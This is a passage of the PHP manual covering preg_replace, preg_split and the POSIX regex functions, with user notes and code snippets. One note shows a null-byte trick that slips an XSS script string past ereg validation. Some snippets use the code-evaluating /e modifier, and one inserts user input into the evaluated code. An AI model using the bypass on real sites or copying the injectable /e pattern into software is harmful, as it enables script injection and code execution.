    foreach ( $switch_table as $_1 => $_2 ) {
        $subject = str_replace($_1,$unused_char,$subject);
        $subject = str_replace($_2,$_1,$subject);
        $subject = str_replace($unused_char,$_2,$subject);
    }
    return $subject;
}

echo switch_chars("AGTCTGCCCTAG", array("A"=>"T","G"=>"C")); //output will be TCAGACGGGATC
?>
rob at ubrio dot us 21-Aug-2007 10:48
Also worth noting is that you can use array_keys()/array_values() with preg_replace like:

<?php
$subs = array(
  '/\[b\](.+)\[\/b\]/Ui' => '<strong>$1</strong>',
  '/_(.+)_/Ui' => '<em>$1</em>'
  ...
  ...
);

$raw_text = '[b]this is bold[/b] and this is _italic!_';

$bb_text = preg_replace(array_keys($subs), array_values($subs), $raw_text);
?>
lehongviet at gmail dot com 25-Jul-2007 10:15
I got problem echoing text that contains double-quotes into a text field. As it confuses value option. I use this function below to match and replace each pair of them by smart quotes. The last one will be replaced by a hyphen(-).

It works for me.

<?php
function smart_quotes($text) {
  $pattern = '/"((.)*?)"/i';
  $text = preg_replace($pattern,"“\\1”",stripslashes($text));
  $text = str_replace("\"","-",$text);
  $text = addslashes($text);
  return $text;
}
?>
131 dot php at cloudyks dot org 17-Jul-2007 01:37
Based on previous comment, i suggest
( this function already exist in php 6 )

<?php
function unicode_decode($str){
    return preg_replace(
        '#\\\u([0-9a-f]{4})#e',
        "unicode_value('\\1')",
        $str);
}

function unicode_value($code) {
    $value=hexdec($code);
    if($value<0x0080)
        return chr($value);
    elseif($value<0x0800)
        return chr((($value&0x07c0)>>6)|0xc0)
            .chr(($value&0x3f)|0x80);
    else
        return chr((($value&0xf000)>>12)|0xe0)
        .chr((($value&0x0fc0)>>6)|0x80)
        .chr(($value&0x3f)|0x80);
}
?>

[EDIT BY danbrown AT php DOT net:  This function originally written by mrozenoer AT overstream DOT net.]
mtsoft at mt-soft dot com dot ar 09-Jul-2007 11:30
This function takes a URL and returns a plain-text version of the page. It uses cURL to retrieve the page and a combination of regular expressions to strip all unwanted whitespace. This function will even strip the text from STYLE and SCRIPT tags, which are ignored by PHP functions such as strip_tags (they strip only the tags, leaving the text in the middle intact).

Regular expressions were split in 2 stages, to avoid deleting single carriage returns (also matched by \s) but still delete all blank lines and multiple linefeeds or spaces, trimming operations took place in 2 stages.

<?php
function webpage2txt($url)
{
$user_agent = “Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)”;

$ch = curl_init();    // initialize curl handle
curl_setopt($ch, CURLOPT_URL, $url); // set url to post to
curl_setopt($ch, CURLOPT_FAILONERROR, 1);              // Fail on errors
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);    // allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_PORT, 80);            //Set the port number
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // times out after 15s

curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);

$document = curl_exec($ch);

$search = array(’@<script[^>]*?>.*?</script>@si’,  // Strip out javascript
‘@<style[^>]*?>.*?</style>@siU’,    // Strip style tags properly
‘@<[\/\!]*?[^<>]*?>@si’,            // Strip out HTML tags
‘@<![\s\S]*?–[ \t\n\r]*>@’,         // Strip multi-line comments including CDATA
‘/\s{2,}/’,

);

$text = preg_replace($search, “\n”, html_entity_decode($document));

$pat[0] = “/^\s+/”;
$pat[2] = “/\s+\$/”;
$rep[0] = “”;
$rep[2] = ” “;

$text = preg_replace($pat, $rep, trim($text));

return $text;
}
?>

Potential uses of this function are extracting keywords from a webpage, counting words and things like that. If you find it useful, drop us a comment and let us know where you used it.
ismith at nojunk dot motorola dot com 21-Mar-2007 06:47
Be aware that when using the "/u" modifier, if your input text contains any bad UTF-8 code sequences, then preg_replace will return an empty string, regardless of whether there were any matches.

This is due to the PCRE library returning an error code if the string contains bad UTF-8.
dani dot church at gmail dot youshouldknowthisone 07-Feb-2007 08:09
Note that it is in most cases much more efficient to use preg_replace_callback(), with a named function or an anonymous function created with create_function(), instead of the /e modifier.  When preg_replace() is called with the /e modifier, the interpreter must parse the replacement string into PHP code once for every replacement made, while preg_replace_callback() uses a function that only needs to be parsed once.
Alexey Lebedev 07-Sep-2006 11:21
Wasted several hours because of this:

<?php
$str='It&#039;s a string with HTML entities';
preg_replace('~&#(\d+);~e', 'code2utf($1)', $str);
?>

This code must convert numeric html entities to utf8. And it does with a little exception. It treats wrong codes starting with &#0

The reason is that code2utf will be called with leading zero, exactly what the pattern matches - code2utf(039).
And it does matter! PHP treats 039 as octal number.
Try <?php print(011); ?>

Solution:
<?php preg_replace('~&#0*(\d+);~e', 'code2utf($1)', $str); ?>
robvdl at gmail dot com 21-Apr-2006 02:15
For those of you that have ever had the problem where clients paste text from msword into a CMS, where word has placed all those fancy quotes throughout the text, breaking the XHTML validator... I have created a nice regular expression, that replaces ALL high UTF-8 characters with HTML entities, such as ’.

Note that most user examples on php.net I have read, only replace selected characters, such as single and double quotes. This replaces all high characters, including greek characters, arabian characters, smilies, whatever.

It took me ages to get it just downto two regular expressions, but it handles all high level characters properly.

<?php
$text = preg_replace('/([\xc0-\xdf].)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 192) * 64 + (ord(substr('$1', 1, 1)) - 128)) . ';'", $text);
$text = preg_replace('/([\xe0-\xef]..)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 224) * 4096 + (ord(substr('$1', 1, 1)) - 128) * 64 + (ord(substr('$1', 2, 1)) - 128)) . ';'", $text);
?>
gabe at mudbuginfo dot com 18-Oct-2004 10:39
It is useful to note that the 'limit' parameter, when used with 'pattern' and 'replace' which are arrays, applies to each individual pattern in the patterns array, and not the entire array.
<?php

$pattern = array('/one/', '/two/');
$replace = array('uno', 'dos');
$subject = "test one, one two, one two three";

echo preg_replace($pattern, $replace, $subject, 1);
?>

If limit were applied to the whole array (which it isn't), it would return:
test uno, one two, one two three

However, in reality this will actually return:
test uno, one dos, one two three
steven -a-t- acko dot net 08-Feb-2004 06:45
People using the /e modifier with preg_replace should be aware of the following weird behaviour. It is not a bug per se, but can cause bugs if you don't know it's there.

The example in the docs for /e suffers from this mistake in fact.

With /e, the replacement string is a PHP expression. So when you use a backreference in the replacement expression, you need to put the backreference inside quotes, or otherwise it would be interpreted as PHP code. Like the example from the manual for preg_replace:

preg_replace("/(<\/?)(\w+)([^>]*>)/e",
             "'\\1'.strtoupper('\\2').'\\3'",
             $html_body);

To make this easier, the data in a backreference with /e is run through addslashes() before being inserted in your replacement expression. So if you have the string

 He said: "You're here"

It would become:

 He said: \"You\'re here\"

...and be inserted into the expression.
However, if you put this inside a set of single quotes, PHP will not strip away all the slashes correctly! Try this:

 print ' He said: \"You\'re here\" ';
 Output: He said: \"You're here\"

This is because the sequence \" inside single quotes is not recognized as anything special, and it is output literally.

Using double-quotes to surround the string/backreference will not help either, because inside double-quotes, the sequence \' is not recognized and also output literally. And in fact, if you have any dollar signs in your data, they would be interpreted as PHP variables. So double-quotes are not an option.

The 'solution' is to manually fix it in your expression. It is easiest to use a separate processing function, and do the replacing there (i.e. use "my_processing_function('\\1')" or something similar as replacement expression, and do the fixing in that function).

If you surrounded your backreference by single-quotes, the double-quotes are corrupt:
$text = str_replace('\"', '"', $text);

People using preg_replace with /e should at least be aware of this.

I'm not sure how it would be best fixed in preg_replace. Because double-quotes are a really bad idea anyway (due to the variable expansion), I would suggest that preg_replace's auto-escaping is modified to suit the placement of backreferences inside single-quotes (which seemed to be the intention from the start, but was incorrectly applied).
thewolf at pixelcarnage dot com 23-Oct-2003 04:38
I got sick of trying to replace just a word, so I decided I would write my own string replacement code. When that code because far to big and a little faulty I decided to use a simple preg_replace:

<?php
/**
 * Written by Rowan Lewis
 * $search(string), the string to be searched for
 * $replace(string), the string to replace $search
 * $subject(string), the string to be searched in
 */
function word_replace($search, $replace, $subject) {
    return preg_replace('/[a-zA-Z]+/e', '\'\0\' == \'' . $search . '\' ? \'' . $replace . '\': \'\0\';', $subject);
}
?>

I hope that this code helpes someone!


Split string by a regular expression

  • « preg_replace
  • POSIX Regex »
  • PHP Manual
  • PCRE Functions
  • Split string by a regular expression

preg_split

(PHP 4, PHP 5)

preg_split — Split string by a regular expression

Description

array preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] )

Split the given string by a regular expression.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

limit

If specified, then only substrings up to limit are returned with the rest of the string being placed in the last substring. A limit of -1, 0 or NULL means "no limit" and, as is standard across PHP, you can use NULL to skip to the flags parameter.

flags

flags can be any combination of the following flags (combined with the | bitwise operator):

PREG_SPLIT_NO_EMPTY
If this flag is set, only non-empty pieces will be returned by preg_split().
PREG_SPLIT_DELIM_CAPTURE
If this flag is set, parenthesized expression in the delimiter pattern will be captured and returned as well.
PREG_SPLIT_OFFSET_CAPTURE

If this flag is set, for every occurring match the appendant string offset will also be returned. Note that this changes the return value in an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

Return Values

Returns an array containing substrings of subject split along boundaries matched by pattern.

Examples

Example #1 preg_split() example : Get the parts of a search string

<?php
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
?>

The above example will output:

Array
(
    [0] => hypertext
    [1] => language
    [2] => programming
)

Example #2 Splitting a string into component characters

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

The above example will output:

Array
(
    [0] => s
    [1] => t
    [2] => r
    [3] => i
    [4] => n
    [5] => g
)

Example #3 Splitting a string into matches and their offsets

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

Notes

Tip

If you don't need the power of regular expressions, you can choose faster (albeit simpler) alternatives like explode() or str_split().

Tip

If matching fails, an array with a single element containing the input string will be returned.

See Also

  • PCRE Patterns
  • implode() - Join array elements with a string
  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

Miller 25-Feb-2014 02:25
This is a function to truncate a string of text while preserving the whitespace (for instance, getting an excerpt from an article while maintaining newlines). It will not jive well with HTML, of course.

<?php
/**
 * Truncates a string of text by word count
 * @param string $text The text to truncate
 * @param int $max_words The maximum number of words
 * @return string The truncated text
 */
function limit_words ($text, $max_words) {
    $split = preg_split('/(\s+)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
    $truncated = '';
    for ($i = 0; $i < min(count($split), $max_words*2); $i += 2) {
        $truncated .= $split[$i].$split[$i+1];
    }
    return trim($truncated);
}
?>
anton at zebooka dot com 12-Aug-2013 10:23
A not good code in example regexp.
It should be written
preg_split("/[\\s,]+", ...
because there is no special symbol \s (like \n for example) and we need to pass exactly \s, not symbol that \s may represent.
So we need to escape backslash with backslash

$a = "/[\\s,+]/";
echo $a;
php> /[\s,+]/
w o z 2 2 a t y a h o o d o t c o m 23-Aug-2011 12:42
PREG_SPLIT_OFFSET_CAPTURE should be maintained for UTF-8 characters, because it produces wrong results as if it is using strlen() internally, instead of using mb_strlen(), which is the right one...
david dot binovec at gmail dot com 26-Jun-2011 03:38
Limit = 1 may be confusing. The important thing is that in case of limit equals to 1 will produce only ONE substring. Ergo the only one substring will be the first one as well as the last one. Tnat the rest of the string (after the first delimiter) will be placed to the last substring. But last is the first and only one.

<?php

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 1);

echo $output[0] //will return whole string!;

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 2);

echo $output[0] //will return 1;
echo $output[1] //will return '2 3 4 5 6 7 8';

?>
eric at clarinova dot com 25-Jun-2011 12:04
Here is another way to split a CamelCase string, which is a simpler expression than the one using lookaheads and lookbehinds:

preg_split('/([[:upper:]][[:lower:]]+)/', $last, null, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY)

It makes the entire CamelCased word the delimiter, then returns the delimiters (PREG_SPLIT_DELIM_CAPTURE) and omits the empty values between the delimiters (PREG_SPLIT_NO_EMPTY)
PhoneixSegovia at gmail dot com 26-Nov-2010 01:38
You must be caution when using lookbehind to a variable match.
For example:
'/(?<!\\\)\r?\n)/'
 to match a new line when not \ is before it don't go as spected as it match \r as the lookbehind (becouse isn't a \) and is optional before \n.

You must use this for example:
'/((?<!\\\|\r)\n)|((?<!\\\)\r\n)/'
That match a alone \n (not preceded by \r or \) or a \r\n not preceded by a \.
Daniel Schroeder 03-Nov-2010 12:46
If you want to split by a char, but want to ignore that char in case it is escaped, use a lookbehind assertion.

In this example a string will be split by ":" but "\:" will be ignored:

<?php
$string='a:b:c\:d';
$array=preg_split('#(?<!\\\)\:#',$string);
print_r($array);
?>

Results into:

Array
(
    [0] => a
    [1] => b
    [2] => c\:d
)
nesbert at gmail dot com 29-Jan-2010 12:46
Hope this helps someone...

<?php
/**
 * Split a string into groups of words with a line no longer than $max
 * characters.
 *
 * @param string $string
 * @param integer $max
 * @return array
 **/
function split_words($string, $max = 1)
{
    $words = preg_split('/\s/', $string);
    $lines = array();
    $line = '';

    foreach ($words as $k => $word) {
        $length = strlen($line . ' ' . $word);
        if ($length <= $max) {
            $line .= ' ' . $word;
        } else if ($length > $max) {
            if (!empty($line)) $lines[] = trim($line);
            $line = $word;
        } else {
            $lines[] = trim($line) . ' ' . $word;
            $line = '';
        }
    }
    $lines[] = ($line = trim($line)) ? $line : $word;

    return $lines;
}
?>
jan dot sochor at icebolt dot info 24-Oct-2009 12:26
Sometimes PREG_SPLIT_DELIM_CAPTURE does strange results.

<?php
$content = '<strong>Lorem ipsum dolor</strong> sit <img src="test.png" />amet <span class="test" style="color:red">consec<i>tet</i>uer</span>.';
$chars = preg_split('/<[^>]*[^\/]>/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars);
?>
Produces:
Array
(
    [0] => Lorem ipsum dolor
    [1] =>  sit <img src="test.png" />amet
    [2] => consec
    [3] => tet
    [4] => uer
)

So that the delimiter patterns are missing. If you wanna get these patters remember to use parentheses.

<?php
$chars = preg_split('/(<[^>]*[^\/]>)/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars); //parentheses added
?>
Produces:
Array
(
    [0] => <strong>
    [1] => Lorem ipsum dolor
    [2] => </strong>
    [3] =>  sit <img src="test.png" />amet
    [4] => <span class="test" style="color:red">
    [5] => consec
    [6] => <i>
    [7] => tet
    [8] => </i>
    [9] => uer
    [10] => </span>
    [11] => .
)
php at dmi dot me dot uk 06-Oct-2009 10:23
To split a camel-cased string using preg_split() with lookaheads and lookbehinds:

<?php
function splitCamelCase($str) {
  return preg_split('/(?<=\\w)(?=[A-Z])/', $str);
}
?>
Peter -the pete- de Pijd 24-Sep-2009 11:34
If you want to use something like explode(PHP_EOL, $string) but for all combinations of \r and \n, try this one:

<?php
$text = "A\nB\rC\r\nD\r\rE\n\nF";
$texts = preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $text);
?>

result:
array("A", "B", "C", "D", "", "E", "", "F");
buzoganylaszlo at yahoo dot com 01-Aug-2009 09:57
Extending m.timmermans's solution, you can use the following code as a search expression parser:

<?php
$search_expression = "apple bear \"Tom Cruise\" or 'Mickey Mouse' another word";
$words = preg_split("/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|" . "[\s,]*'([^']+)'[\s,]*|" . "[\s,]+/", $search_expression, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($words);
?>

The result will be:
Array
(
    [0] => apple
    [1] => bear
    [2] => Tom Cruise
    [3] => or
    [4] => Mickey Mouse
    [5] => another
    [6] => word
)

1. Accepted delimiters: white spaces (space, tab, new line etc.) and commas.

2. You can use either simple (') or double (") quotes for expressions which contains more than one word.
wf 28-May-2009 06:36
Spacing out your CamelCase using preg_replace:

<?php

function spacify($camel, $glue = ' ') {
    return preg_replace( '/([a-z0-9])([A-Z])/', "$1$glue$2", $camel );
}

echo spacify('CamelCaseWords'), "\n"; // 'Camel Case Words'
echo spacify('camelCaseWords'), "\n"; // 'camel Case Words'

?>
kenorb at gmail dot com 23-May-2009 04:56
If you need convert function arguments without default default values and references, you can try this code:

<?php
    $func_args = '$node, $op, $a3 = NULL, $form = array(), $a4 = NULL'
    $call_arg = preg_match_all('@(?<func_arg>\$[^,= ]+)@i', $func_args, $matches);
    $call_arg = implode(',', $matches['func_arg']);
?>
Result: string = "$node,$op,$a3,$form,$a4"
csaba at alum dot mit dot edu 17-Mar-2009 10:06
If the task is too complicated for preg_split, preg_match_all might come in handy, since preg_split is essentially a special case.

I wanted to split a string on a certain character (asterisk), but only if it wasn't escaped (by a preceding backslash).  Thus, I should ensure an even number of backslashes before any asterisk meant as a splitter.  Look-behind in a regular expression wouldn't work since the length of the preceding backslash sequence can't be fixed.  So I turned to preg_match_all:

<?php
// split a string at unescaped asterisks
// where backslash is the escape character
$splitter = "/\\*((?:[^\\\\*]|\\\\.)*)/";
preg_match_all($splitter, "*$string", $aPieces, PREG_PATTERN_ORDER);
$aPieces = $aPieces[1];

// $aPieces now contains the exploded string
// and unescaping can be safely done on each piece
foreach ($aPieces as $idx=>$piece)
  $aPieces[$idx] = preg_replace("/\\\\(.)/s", "$1", $piece);
?>
anajilly 17-Jul-2008 10:17
<?php
$s = '<p>bleh blah</p><p style="one">one two three</p>';

$htmlbits = preg_split('/(<p( style="[-:a-z0-9 ]+")?>|<\/p>)/i', $s, -1, PREG_SPLIT_DELIM_CAPTURE);

print_r($htmlbits);
?>

Array
(
    [0] =>
    [1] => <p>
    [2] => bleh blah
    [3] => </p>
    [4] =>
    [5] => <p style="one">
    [6] =>  style="one"
    [7] => one two three
    [8] => </p>
    [9] =>
)

two interesting bits:

1. When using PREG_SPLIT_DELIM_CAPTURE, if you use more than one pair of parentheses, the result array can have members representing all pairs.  See array indexes 5 and 6 to see two adjacent delimiter results in which the second is a subset match of the first.

2. If a parenthesised sub-expression is made optional by a following question mark (ex: '/abc (optional subregex)?/') some split delimiters may be captured in the result while others are not.  See array indexes 1 and 2 to see an instance where the overall match succeeded and returned a delimiter while the optional sub-expression '( style="[-:a-z0-9 ]+")?' did not match, and did not return a delimiter.  This means it's possible to have a result with an unpredictable number of delimiters in the result array.

This second aspect is true irrespective of the number of pairs of parentheses in the regex.  This means: in a regular expression with a single optional parenthesised sub-expression, the overall expression can match without generating a corresponding delimiter in the result.
Steve 23-Mar-2005 05:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

<?php print count(preg_split("/ /", "a b c d e ")); ?>

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au 25-Sep-2004 05:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

<?php
$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
?>

returns:

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4


Regular Expression (POSIX Extended)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • POSIX Regex Functions
    • ereg_replace — Replace regular expression
    • ereg — Regular expression match
    • eregi_replace — Replace regular expression case insensitive
    • eregi — Case insensitive regular expression match
    • split — Split string into array by regular expression
    • spliti — Split string into array by regular expression case insensitive
    • sql_regcase — Make regular expression for case insensitive match

User Contributed Notes

Daniel Klein 22-Mar-2012 10:01
PCRE has very good utf-8 support. Simply add the /u modifier to your pattern.

preg_match('/non-utf-8 matching pattern/', $string);
preg_match('/utf-8 matching pattern/u', $string);
Ray dot Paseur at Gmail dot com 28-Oct-2011 11:04
The POSIX functions are deprecated.  Instead of the "ereg" collection you want to use something from the PCRE world.
http://www.php.net/manual/en/book.pcre.php


Introduction

Tip

PHP also supports regular expressions using a Perl-compatible syntax using the PCRE functions. Those functions support non-greedy matching, assertions, conditional subpatterns, and a number of other features not supported by the POSIX-extended regular expression syntax.

Warning

These regular expression functions are not binary-safe. The PCRE functions are.

Note:

As of PHP 5.3.0 this extension is deprecated, calling any function provided by this extension will issue an E_DEPRECATED notice.

Regular expressions are used for complex string manipulation. PHP uses the POSIX extended regular expressions as defined by POSIX 1003.2. For a full description of POSIX regular expressions see the » regex man pages included in the regex directory in the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

User Contributed Notes

Alastair Irvine 08-Oct-2013 06:28
Apparently "It won't be available in php6 because ereg does not work with Unicode."
Source: https://bugs.php.net/bug.php?id=49594#1254434169


Installation

Warning

Do not change the TYPE unless you know what you are doing.

To enable regexp support configure PHP --with-regex[=TYPE] . TYPE can be one of system, apache, php. The default value is php.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Regular Expression Examples

<?php
// Returns true if "abc" is found anywhere in $string.
ereg("abc", $string);

// Returns true if "abc" is found at the beginning of $string.
ereg("^abc", $string);

// Returns true if "abc" is found at the end of $string.
ereg("abc$", $string);

// Returns true if client browser is Netscape 2, 3 or MSIE 3.
eregi("(ozilla.[23]|MSIE.3)", $_SERVER["HTTP_USER_AGENT"]);

// Places three space separated words into $regs[1], $regs[2] and $regs[3].
ereg("([[:alnum:]]+) ([[:alnum:]]+) ([[:alnum:]]+)", $string, $regs);

// Put a <br /> tag at the beginning of $string.
$string = ereg_replace("^", "<br />", $string);

// Put a <br /> tag at the end of $string.
$string = ereg_replace("$", "<br />", $string);

// Get rid of any newline characters in $string.
$string = ereg_replace("\n", "", $string);
?>

User Contributed Notes

There are no user contributed notes for this page.


POSIX Regex Functions

See Also

For regular expressions in Perl-compatible syntax have a look at the PCRE functions. The simpler shell style wildcard pattern matching is provided by fnmatch().

Table of Contents

  • ereg_replace — Replace regular expression
  • ereg — Regular expression match
  • eregi_replace — Replace regular expression case insensitive
  • eregi — Case insensitive regular expression match
  • split — Split string into array by regular expression
  • spliti — Split string into array by regular expression case insensitive
  • sql_regcase — Make regular expression for case insensitive match

User Contributed Notes

swordsteel 27-Jul-2012 11:17
So i did like to get Ü Å Ä Ö and some more in to my check for things.

<?php
$chars = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'Þ', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ý', 'ý', 'þ', 'ÿ');

$list = array();
foreach($chars AS $char ) {
    $list[dechex(ord($char))] = $char;
}
ksort($list);
foreach ($list as $key => $val) {
    echo "$key = $val, ";
}
?>

that gave me this

c0 = À, c1 = Á, c2 = Â, c3 = Ã, c4 = Ä, c5 = Å, c6 = Æ, c7 = Ç, c8 = È, c9 = É, ca = Ê, cb = Ë, cc = Ì, cd = Í, ce = Î, cf = Ï, d1 = Ñ, d2 = Ò, d3 = Ó, d4 = Ô, d5 = Õ, d6 = Ö, d8 = Ø, d9 = Ù, da = Ú, db = Û, dc = Ü, dd = Ý, de = Þ, df = ß, e0 = à, e1 = á, e2 = â, e3 = ã, e4 = ä, e5 = å, e6 = æ, e7 = ç, e8 = è, e9 = é, ea = ê, eb = ë, ec = ì, ed = í, ee = î, ef = ï, f0 = ð, f1 = ñ, f2 = ò, f3 = ó, f4 = ô, f5 = õ, f6 = ö, f8 = ø, f9 = ù, fa = ú, fb = û, fd = ý, fe = þ, ff = ÿ

and that is if you make it smaller...

\\xC0-\\xD6 \\xD8-\\xF6 \\xF8-\\xFB \\xFD-\\xFF

Hope this help some one with Ü Å Ä Ö
Edward Z. Yang 01-Apr-2007 07:16
The fact that 'regex' functions are not binary safe have some very important security implications for people who are using ereg to validate their input data.

Suppose I have an expression:

<?php
$pattern = '^[[:alnum:]]*$';
?>

This should match any number of alphanumeric characters, right? Well, if the string you're matching is not binary, sure. However, say we have a null-byte tossed in the string:

<?php
$string = chr(0) . "<script>alert('xss')</script>";
echo ereg($pattern, $string);
?>

Will return true. Note that it is trivially easy to inject null bytes into PHP parameters:

index.php?content=%00ASCII

Scary. So unless you really know what you're doing, just use the PCRE preg_* functions.
nate[-at-]theklaibers[-dot-]com 07-Feb-2006 09:19
I am using a regex with the same thought process in mind as the earlier phone number. However, I have also implemented it to allow the '1' so a number like.

1 222 222 2222 would still be valid as well (along with all of the other combinations.

In my regex, I pull out the matches - not the exact string. So if someone were to forget a bracket, it wouldnt matter to the actual output as it is stripped from that match.

So, if you put in 222) 233 3454, the matches would only pull out 1=>222, 2=>233, 3=>3454

This has been very helpful in tweaking my regex.

Thanks,
Nate
ajd at cloudiness dot com 23-Aug-2005 06:05
A minor tweak to trucex' phone validator, because some people use a dot separator between the area code, exchange and four-digit block.
Posted here for your copy-and-paste convenience.

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -.]{0,2}' . '[0-9]{3}[- .]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';
nothing at nothing dot com 30-Jul-2005 12:35
His regular expression is correct, the ^ is to check for the beginning of the string. It is just looking for delimiter characters, try putting slashes around it.
"/<regex>/"
stringer at stringerstudios dot com 29-Jul-2005 02:07
Hey trucex. Cool phone number function but your $regex produces the following error. Warning: No ending delimiter '^' found

Instead of:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

It think should be:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$^';
trucex[at] gmail 27-Jul-2005 08:00
I was having a ton of issues with other people's phone number validation expressions, so I made my own. It works with most US phone numbers, including those with extentions. Format matches any of the following formats:

5551234567
555 1234567
555 123 4567
555 123-4567
555-1234567
555-123-4567
555123-4567
(555)1234567
(555)123 4567
(555)123-4567
(555) 1234567
(555) 123-4567
(555) 123 4567

And any of the following extentions can be added with or without a space between them and the number:
x123
x.123
x. 123
x 123
ext.123
ext. 123
ext 123
ext123

Extentions support between 1 and 5 digits.

Here is the expression:

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

Enjoy!
annie 09-Sep-2004 02:17
Another nice tutorial about regular expressions: http://www.mkssoftware.com/docs/man5/regexp.5.asp
tgt at tip dot nl 08-Sep-2004 11:17
Tip !
Metacharacters in regular expresions are usefull and easy to use.

The following is a set of special values that denote certain common ranges. They have the advantage that also take in account the 'locale' i.e. any variant of the local language/coding system.

[:digit:]      Only the digits 0 to 9
[:alnum:]      Any alphanumeric character 0 to 9 OR A to Z or a to z.
[:alpha:]       Any alpha character A to Z or a to z.
[:blank:]       Space and TAB characters only.
[:xdigit:]     .
[:punct:]       Punctuation symbols . , " ' ? ! ; :
[:print:]      Any printable character.
[:space:]      Any space characters.
[:graph:]       .
[:upper:]       Any alpha character A to Z.
[:lower:]       Any alpha character a to z.
[:cntrl:]        .
mina86 at tlen dot pl 19-Oct-2003 07:14
I tested how fast POSIX and Perl regular expresions are, and here are the results:

           | POSIX Extended  | Perl-Compatible |   POSIX - Perl
-----------+-----------------+-----------------+-----------------
     match |    0.1296420097 |    0.1006720066 |  0.0289700031
   match i |    0.1204010248 |    0.1101620197 |  0.0102390051
   replace |    0.1896649599 |    0.1298999786 |  0.0597649813
 replace i |   10.6998120546 |    0.1453789473 | 10.5544331074

So, as you can see, preg_* functions are faster then ereg* functions. You can find source code of my test script here: http://mina86.home.staszic.waw.pl/temp/regexp-speed-test.txt
Robin 15-Jan-2003 07:53
Ever wondered how to exclude "[" and "]"?
Here it goes: "[^][]". Extra characters to exclude can beadded right in the middle like this: "[^]fobar[]".
paper 09-Sep-2002 08:57
I have also experienced the same problem as bps7j@yahoo.com had been experiencing, except I did not recognize the problem until after many hours of debugging.

"\s" does not seem to represent spaces, however "[[:space:]]" does.

Another problem I was having was matching dashes/hyphens '-'. You must escape them "\-" and place them at the end of a bracket expression.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

^([A-Z_\-]|[[:space:]])*$

Hope this saves someone some time from debugging like I was. :)
bps7j at yahoo dot com 22-Aug-2002 04:40
Something that really got me: I'm used to using Perl's regexps, and so I used \s to check for a whitespace character in a password on a website. My PHP book (Wrox Press, Professional PHP Programming) agreed with me that this is exactly the same as [ \r\n\t\f\v], but it's NOT. In fact, what it did was keep anyone from joining the site if they put an 's' in their password! So beware, check for subtle differences between what you're used to and PHP.

[[:space:]] works fine, by the way.

